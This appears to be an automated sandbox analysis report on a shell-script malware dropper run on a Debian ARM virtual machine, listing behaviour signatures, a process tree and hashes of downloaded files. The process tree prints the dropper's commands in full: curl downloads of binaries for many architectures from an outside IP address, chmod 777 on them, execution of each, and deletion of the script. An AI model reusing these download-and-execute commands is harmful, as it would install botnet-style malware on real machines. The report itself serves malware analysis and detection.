Analysis

  • max time kernel
    18s
  • max time network
    20s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20260513-en
  • resource tags

    arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    09/08/2026, 13:01

General

  • Target
    e735ad29371082dcd485ebf095236a771e457b2f661fb8d7f7377a8e2b782d1c.sh
  • Size 979B
  • Sample260809-p896wsfk9x
  • SHA256 e735ad29371082dcd485ebf095236a771e457b2f661fb8d7f7377a8e2b782d1c
  • MD5 SHA1 SHA512 TLSH

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 11 IoCs
  • Unexpected DNS network traffic destination 7 IoCs

    Network traffic to other servers than the configured DNS servers was detected on the DNS port.

  • Enumerates active TCP sockets 1 TTPs 2 IoCs

    Gets active TCP sockets from /proc virtual filesystem.

  • Checks CPU configuration 1 TTPs 11 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads system network configuration 1 TTPs 2 IoCs

    Uses contents of /proc filesystem to enumerate network settings.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 2 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 11 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/e735ad29371082dcd485ebf095236a771e457b2f661fb8d7f7377a8e2b782d1c.sh
    /tmp/e735ad29371082dcd485ebf095236a771e457b2f661fb8d7f7377a8e2b782d1c.sh
    1⤵
    • Executes dropped EXE
    PID:652
    • /usr/bin/curl
      curl http://43.98.174.233/release/arm -o /tmp/arm
      2⤵
      • Checks CPU configuration
      • Reads runtime system information
      • Writes file to tmp directory
      PID:653
    • /usr/bin/curl
      curl http://43.98.174.233/release/arm5 -o /tmp/arm5
      2⤵
      • Checks CPU configuration
      • Reads runtime system information
      • Writes file to tmp directory
      PID:679
    • /usr/bin/curl
      curl http://43.98.174.233/release/arm6 -o /tmp/arm6
      2⤵
      • Checks CPU configuration
      • Reads runtime system information
      • Writes file to tmp directory
      PID:725
    • /usr/bin/curl
      curl http://43.98.174.233/release/arm7 -o /tmp/arm7
      2⤵
      • Checks CPU configuration
      • Reads runtime system information
      • Writes file to tmp directory
      PID:752
    • /usr/bin/curl
      curl http://43.98.174.233/release/mips -o /tmp/mips
      2⤵
      • Checks CPU configuration
      • Reads runtime system information
      • System Network Configuration Discovery
      • Writes file to tmp directory
      PID:757
    • /usr/bin/curl
      curl http://43.98.174.233/release/mpsl -o /tmp/mpsl
      2⤵
      • Checks CPU configuration
      • Reads runtime system information
      • Writes file to tmp directory
      PID:758
    • /usr/bin/curl
      curl http://43.98.174.233/release/ppc -o /tmp/ppc
      2⤵
      • Checks CPU configuration
      • Reads runtime system information
      • Writes file to tmp directory
      PID:759
    • /usr/bin/curl
      curl http://43.98.174.233/release/x86_64 -o /tmp/x86_64
      2⤵
      • Checks CPU configuration
      • Reads runtime system information
      • Writes file to tmp directory
      PID:760
    • /usr/bin/curl
      curl http://43.98.174.233/release/x86 -o /tmp/x86
      2⤵
      • Checks CPU configuration
      • Reads runtime system information
      • Writes file to tmp directory
      PID:761
    • /usr/bin/curl
      curl http://43.98.174.233/release/spc -o /tmp/spc
      2⤵
      • Checks CPU configuration
      • Reads runtime system information
      • Writes file to tmp directory
      PID:762
    • /usr/bin/curl
      curl http://43.98.174.233/release/m68k -o /tmp/m68k
      2⤵
      • Checks CPU configuration
      • Reads runtime system information
      • Writes file to tmp directory
      PID:763
    • /bin/chmod
      chmod 777 /tmp/arm /tmp/arm5 /tmp/arm6 /tmp/arm7 /tmp/e735ad29371082dcd485ebf095236a771e457b2f661fb8d7f7377a8e2b782d1c.sh /tmp/m68k /tmp/mips /tmp/mpsl /tmp/ppc /tmp/spc /tmp/systemd-private-4e6b6eb803414b4fbf59893ed1d58a28-systemd-timedated.service-P90Vhb /tmp/x86 /tmp/x86_64
      2⤵
      • File and Directory Permissions Modification
      PID:764
    • /tmp/arm7
      /tmp/arm7 aterna
      2⤵
        PID:768
      • /tmp/arm6
        /tmp/arm6 aterna
        2⤵
        • Enumerates active TCP sockets
        • Reads system network configuration
        • Reads runtime system information
        PID:767
      • /tmp/mips
        /tmp/mips aterna
        2⤵
        • System Network Configuration Discovery
        PID:769
      • /tmp/ppc
        /tmp/ppc aterna
        2⤵
          PID:771
        • /tmp/mpsl
          /tmp/mpsl aterna
          2⤵
            PID:770
          • /tmp/x86_64
            /tmp/x86_64 aterna
            2⤵
              PID:772
            • /tmp/arm5
              /tmp/arm5 aterna
              2⤵
                PID:766
              • /tmp/spc
                /tmp/spc aterna
                2⤵
                  PID:774
                • /tmp/x86
                  /tmp/x86 aterna
                  2⤵
                    PID:773
                  • /tmp/m68k
                    /tmp/m68k aterna
                    2⤵
                      PID:775
                    • /bin/rm
                      rm -f /tmp/e735ad29371082dcd485ebf095236a771e457b2f661fb8d7f7377a8e2b782d1c.sh
                      2⤵
                        PID:783
                      • /bin/sh
                        /bin/sh /tmp/spc aterna
                        2⤵
                          PID:774
                        • /tmp/arm
                          /tmp/arm aterna
                          2⤵
                          • Enumerates active TCP sockets
                          • Reads system network configuration
                          • Reads runtime system information
                          PID:765

                      Network

                            MITRE ATT&CK Enterprise v16

                            Replay Monitor

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                            Downloads

                            arm

                            • Path /tmp/arm
                            • Size 733KB
                            • SHA256 99c11447a1238a6391b69d113124034bf106cf78b1751dfacaf7181ce803f88e
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            arm6

                            • Path /tmp/arm6
                            • Size 569KB
                            • SHA256 94ca187d2680779089c15de5cb075c8368a033914ed3d960b2cd7b82e7553fbc
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            m68k

                            • Path /tmp/m68k
                            • Size 646KB
                            • SHA256 8dfd5cefc9c20988abb1188f250724f4fa3f46f74f1e4e8c0569b38cb0320d93
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            mips

                            • Path /tmp/mips
                            • Size 802KB
                            • SHA256 311ac74c800cd4ce5bcc16210127e7b7a8522253f34d4d4f0f4007365fad856a
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            mpsl

                            • Path /tmp/mpsl
                            • Size 806KB
                            • SHA256 4f62a3aa1521c2e198cd37fafbac3706148116ccba9d897965b0b7c90e12d8eb
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            ppc

                            • Path /tmp/ppc
                            • Size 908KB
                            • SHA256 c7f9cdd6d85285ab85056ce7a49fa087b5f56dab68beae6a3ebb0d6c538080b7
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            spc

                            • Path /tmp/spc
                            • Size 275B
                            • SHA256 0dfbe8f3973984d3a4268249dc1764e820ca1a947a419fddd09cc2b1ca327985
                            • MD5 SHA1 SHA512 TLSH

                            x86_64

                            • Path /tmp/x86_64
                            • Size 1.1MB
                            • SHA256 809ea6ebd9a87909a033616519d3c7d596b25136662da8a496ad971dbde62cf2
                            • MD5 SHA1 SHA512 SSDEEP TLSH